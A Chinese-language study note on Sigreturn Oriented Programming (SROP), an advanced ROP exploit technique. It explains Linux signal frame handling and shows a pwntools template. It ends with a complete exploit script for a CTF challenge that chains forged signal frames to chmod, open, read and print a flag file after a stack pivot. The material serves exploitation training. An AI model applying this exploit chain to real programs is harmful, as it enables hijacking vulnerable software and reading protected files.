srop

[TOC]

一些重要理解

  1. rsp必须必须指向fake_frame的底部,不然sigreturn无法正常执行
  2. fake_frame中的rip的值就是sigreturn执行完后立即执行的指令地址
  3. mov_rax_0xf_ret后只要是syscall就行了,相当于ret后直接执行sigreturn系统调用。但是rip必须指向syscall_ret,因为中途不可以打乱rsp指向
  4. 当没有直接syscall_ret时,rip也可以指向0x401186,这也没有改变rsp指向
  5. 一次不对多dbg
  6. 区分syscall系统调用和包装好的syscall函数

基本原理

Srop 的全称是Sigreturn Oriented Programming Srop 可以理解成一种高级的ROP,利用了linux下15号系统调用的->rt_sigreturn

  • Signal是Unix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息。常见于在一个进程中,内核向其发送发送软中断信号,该进程将暂时被挂起,系统进入内核态,因为是暂时被挂起,所以系统会保留该进程的上下文
  • linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境(也就是③)这个环节直接设定相关寄存器的值。
  • 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中(所以srop是一种高级的栈溢出),以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码

利用原理

漏洞利用点

  1. Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  2. 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是(因为我们可以进行修改)之前内核为用户进程保存的 Signal Frame。我们可以伪造Signal Frame,然后通过调用sigreturn信号,实现控制
  3. 当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值

使用条件

  1. 栈溢出可以实现较长字符的输入,因为一个Signal Frame就有0xf8长度
  2. 调用各种函数,需要自己准备必备的条件,比如调用execve,就需要准备/bin/sh字符串
  3. 如果要实现实现SROP chain,需要得到栈地址,才能正确的pop出rsp的位置(rsp应当指向fake_frame底部)

pwntools模板

pwntools集成了SROP的模块,可以帮助制作fake_frame: sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = …. sigframe.rdx =0x100 sigframe.rsp = stack_addr (fake_frame的底部) sigframe.rip = syscall_ret
payload=padding+p64(set_rax_15)+p64(syscall_ret)+bytes(frame)

srop_chain

一般来说调用一次sigreturn基本就够了,srop链情况比较少

例题

第六届安洵杯seccomp

from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/chall"
elf=ELF(file)
p=process(file)
# sh=gdb.debug(file,'b *$rebase(0x1407 )')
def dbg():
    gdb.attach(p,'b *0x401437')

rop = ROP(elf)
#gadgets
mov_rax_0xf = 0x401193
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address
syscall_ret_addr = 0x401186 #full function

#rsi
data_addr = 0x404000
bss_addr = 0x404060

#init frame 向data_addr读入flag文件名
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178            #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr

#获得读取flag权限
frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 777
frame_chmod.rsp = 0x404280            #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr

frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = 0
frame_open.rdx = 0
frame_open.rsp = 0x404388  # 指向payload中邻接的mov_rax_0xf在bss段的地址
frame_open.rip = syscall_ret_addr

#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x40
frame_read_2.rsp = 0x404490            #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr

frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x40
#这里如果不设置rsp,rsp=0,因为syscall_ret_addr有push pop指令,将无法正常执行write
frame_write.rsp = 0x404600 
frame_write.rip = syscall_ret_addr

#bss
'''
   0x401186    push   rbp
   0x401187    mov    rbp, rsp
   0x40118a    syscall
   0x40118c    nop
   0x40118d    pop    rbp
   0x40118e    ret
'''
#下面的都只能用syscall_addr 0x40118a 如果是0x401186,push  rbp后rsp没有指向fake_frame的底部,导致sigreturn出错
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_read_1) 
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_chmod) 
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_open)  
payload1 += p64(mov_rax_0xf) + p64(syscall_addr) 
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)


p.recvuntil(b'easyhack\n')
p.send(payload1)

#Stack Migration
payload2 = b'a' * 0x2a + p64(bss_addr) + p64(leave_ret)
dbg()
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send('flag\x00'.ljust(0x5a,'\x00'))

p.interactive()